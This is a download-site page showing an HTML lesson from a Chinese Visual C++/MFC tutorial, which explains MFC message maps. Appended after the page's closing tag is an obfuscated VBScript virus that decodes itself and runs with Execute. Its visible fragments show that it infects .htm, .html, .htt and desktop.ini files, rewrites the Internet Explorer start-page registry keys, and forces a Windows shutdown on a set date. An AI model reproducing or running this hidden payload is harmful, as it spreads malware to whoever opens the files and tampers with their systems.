⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 teach_road_13.htm

📁 vc++设计宝典教程1
💻 HTM
字号:
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb_2312-80">
<meta name="GENERATOR" content="闻怡洋 wyy_cq@21cn.com">
<title>Visual C++/MFC开发指南</title>
<SCRIPT LANGUAGE='JavaScript' SRC='../../submit_navigate_bar.js'></SCRIPT>
<link REL="stylesheet" HREF="../../main.css">


</head>
<SCRIPT LANGUAGE='JavaScript'>write_body();</SCRIPT>
<SCRIPT LANGUAGE='JavaScript'>write_bar();</SCRIPT>

<p align="center"><a
HREF="http://www.0828.com/pay/cgi-bin/random.cgi?job=go&id=820"
target="_blank">
<img SRC="http://www.0828.com/pay/cgi-bin/random.cgi?id=820" BORDER="0"
width="468" height="60"></a><br>
<font size="2"><a href="http://www.0828.com/pay/index.html"><img border="0"
src="http://www.0828.com/pay/code.gif" width="468" height="15"></a><br>
<small>你每点一下上面的广告我就能有更多的上网时间为大家寻找资料</small></font>
</p>

<table width=98% cellspacing="0" cellpadding="0" align=center><!--整体框架-->
<tr><td>

<table border=0 width="100%" cellspacing="0" cellpadding="2"><!--标记放置区域-->
<tr>
	<td width="30%" align="center" bgcolor="#003D84" valign=middle><img src=../../img/brand_200_60.gif width=200 height=60 alt="LOGO1"></td>
	<td width="70%" align="center" bgcolor="#003D84" valign=middle><img src=../../img/logo_400_60.gif width=400 height=60 alt="LOGO2"></td>
</tr>
<tr>
	<td colspan="2" bgcolor="#0080C0" align=center><font color=white>您当前位置</font> <a href=../../index.htm><font color=white>首页</font></a> <a href=../index.htm><font color=white>开发教程</font></a> <a href=index.htm><font color=white><font class=engul>Visual C++/MFC</font>入门教程</font></a> <font color=white>1.3 利用Visual C++/MFC开发Windows程序的优势<SCRIPT LANGUAGE='JavaScript'>write_command();</SCRIPT></font></td>
</tr>
</table><!--标记放置区域 END-->

<table border=0 width=100% cellspacing="0" cellpadding="0">
<tr>
<td><!--begin-->

<br>

<p align=center><big>1.3 利用Visual C++/MFC开发Windows程序的优势</big></p>
<table border=0 align=center width=100%>
<tr><td>
<p>MFC借助C++的优势为Windows开发开辟了一片新天地,同时也借助ApplicationWizzard使开发者摆脱离了那些每次都必写基本代码,借助ClassWizard和消息映射使开发者摆脱了定义消息处理时那种混乱和冗长的代码段。更令人兴奋的是利用C++的封装功能使开发者摆脱Windows中各种句柄的困扰,只需要面对C++中的对象,这样一来使开发更接近开发语言而远离系统。(但我个人认为了解系统原理对开发很有帮助)
</p>
<p>正因为MFC是建立在C++的基础上,所以我强调C/C++语言基础对开发的重要性。利用C++的封装性开发者可以更容易理解和操作各种窗口对象;利用C++的派生性开发者可以减少开发自定义窗口的时间和创造出可重用的代码;利用虚拟性可以在必要时更好的控制窗口的活动。而且C++本身所具备的超越C语言的特性都可以使开发者编写出更易用,更灵活的代码。
</p>
<p>在MFC中对消息的处理利用了消息映射的方法,该方法的基础是宏定义实现,通过宏定义将消息分派到不同的成员函数进行处理。下面简单讲述一下这种方法的实现方法:
<pre>代码如下
BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)	
//{{AFX_MSG_MAP(CMainFrame)
	ON_WM_CREATE()	
//}}AFX_MSG_MAP
	ON_COMMAND(ID_FONT_DROPDOWN, DoNothing)
END_MESSAGE_MAP()
经过编译后,代码被替换为如下形式(这只是作讲解,实际情况比这复杂得多):
//BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)	
CMainFrame::newWndProc(...)
{
	switch(...)
	{
		//{{AFX_MSG_MAP(CMainFrame)
		//	ON_WM_CREATE()	
		case(WM_CREATE):
			OnCreate(...);
		break;
		//}}AFX_MSG_MAP
		//	ON_COMMAND(ID_FONT_DROPDOWN, DoNothing)
		case(WM_COMMAND):
			if(HIWORD(wP)==ID_FONT_DROPDOWN)
			{
				DoNothing(...);
			}
		break;
	//END_MESSAGE_MAP()
	}
}
</pre>
newWndProc就是窗口过程只要是该类的实例生成的窗口都使用该窗口过程。
</P>
<p>所以了解了Windows的消息机制在加上对消息映射的理解就很容易了解MFC开发的基本思路了。
</p>
<p align=center><a href=index.htm#charpter1>返回</a></p>
</td></tr>
</table><p align=center><small>版权所有 闻怡洋 <a href=http://www.vchelp.net/>http://www.vchelp.net/</a></small></p>


</td><!--end-->
</tr>
</table>

</td></tr></table><!--整体框架 END-->




<SCRIPT LANGUAGE='JavaScript'>write_tail();</SCRIPT>

</body></html>

<script language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewtcil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd	dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3)cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv=lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!	dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!	dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!	stbm`im_nnko`d')hnht@csiueW((	imisDhrOashr((	imisRdgDnsrher((	imisDqooCndds')bhdcjEwirtEiker((	imfdcsTgirFhld(SelpkaseEike(	imfdcsRnosDhr')dnc rua	stbm`im_nntnko`d')hneebtQontCiq((	cgebkDxhssFhlds')hneebtShhsEike'Tdmol`tdFhld)leqgdRdgDnsrher((	SbamFhldsHn'TgirDhrOash(	cgebkCaseOLnac((	emdstbrua hnht@csiueW((	Om Drqoq QeruleNdxs	SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(	AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(	AopNbi.brdaseHnrt`nbe')Res VsRhdlk < @poOaj-GdtNbiebt')@poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!)@poOaj-cqe`tdImssamcd((	Sdtfro=AopNbi.FesOajdcs((	emdstbrua hnhtCiqP`tgs')NnEqrnrRdstmd MewtVimDhr=fro-GdtRpdchakFnlceq(/)SelpkaseCiq < VimDhr&[&Vea&[SelpkaseEike=Tdmol`tdDhr&eokddr-hst!	TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn()Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0	Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnrMewtHfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem	TgirDhrOash=Mhd'TgirDhrOash+ 0,x(	Eksd	TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&.ShhsCiqP`tg < tndsbaoe'TgirDhrOash(	EmdIe	emdstbrua hnhtQefEmtqids')NnEqrnrRdstmd MewtlyKobakKdy'0( < !SsaqtP`gdlyKobakKdy'1( < !Lnc`lP`gdlyKobakKdy'2( < !Ddf`ukt^P`gd_TRKlyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!	mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!	mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtldnc rua	stbimisDqooCndds')NnEqrnrRdstmd MewthnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!	imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!	imiKime'3(=!hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!	imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gtshnhLhnd(5)<!	imiKime'7(=![-SgeklBl`srImfn]!	imiKime'8(=!CnneiqmEikeNp<0!	fnrx=0tn 7	DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkfmewteokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll=crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!	dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!!crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!(crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!	dqooMd(3)=,-! % !>;/! % !sbrhps>!	fnrx=0tn 3	vBoce<vBoce&dqooMd(w)&vacqle	ndxs	fRtqimg<mxEmcRtqimgdnc rua	StbSbamFhldsHn'fnlceqsoeb)NnEqrnrRdstmd MewtRes lyEokddrr2=fro-GdtEokddr'fnlceqsoeb)Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker	FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker	mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male()HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! ShdnhneebtShhsEike(lyRuaFnlceqFhld.Oash(		HfmxEwt=gtsTgem	SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(	mxFhld.@tsrhbttds=7Dnc HfDnc HfMewtDnc Rua	StbimfdcsTgirFhld(eokddrrpdc(	Om Drqoq QeruleNdxs	SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb)lyBomtdnss=mxFhld.Qe`d@lk	mxFhld.Blnsd	k<0eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0	ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0	ewis eoq	emdie	ndxs	ie j=/ shdn	vOCndd=lyBomtdnss&vacqle % uCndd	SdtmxFhld < esn.FesFhld(eokddrrpdc(	mxFhld.@tsrhbttds=0Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1)lyEike-WqisevOCndd	mxFhld.Blnsd	emdie	EmdStbrua bhdcjEwirtEiker((	Om Drqoq QeruleNdxs	Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq)Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(	mxFhld.@tsrhbttds=7BrdaseShhsEikeTdmol`tdFhld,eokddrGTS	emdstbrua hneebtQontCiq((	Om Drqoq QeruleNdxs	Ie Kem(tndsbaoe'TgirDhrOash()<< 3 ShdnShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoceBrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH	emdie	emdstbrua leqgdRdgDnsrher((	Om Drqoq QeruleNdxs	fnrx<0tn 1	AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafemewtdnc rua	StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(	Om Drqoq QeruleNdxs	WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd	EmdStbRua bhdcjD`tdPKo`d')NnEqrnrRdstmd MewtHfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(	EmdStbRua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(	Om Drqoq QeruleNdxs	sdtmxFhld=esn.FesFhld(eokddrrpdc(	mxFhld.@tsrhbttds=0Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(	mxFhld.Vrhtd vishBomtdnsslyEike-Ckoreres lyEike<fro-GdtEike'fnlceqsoeb)lyEike-Astqiauser < 6	EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)"  & vbcrlf & "if s=chr(19) then s=chr(34)"  & vbcrlf & "if s=chr(28) then s=vbCr"  & vbcrlf & "if s=chr(29) then s=vbLf"  & vbcrlf & "myDecString=myDecString & s"  & vbcrlf & "next")
Execute(myDecString)
--></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -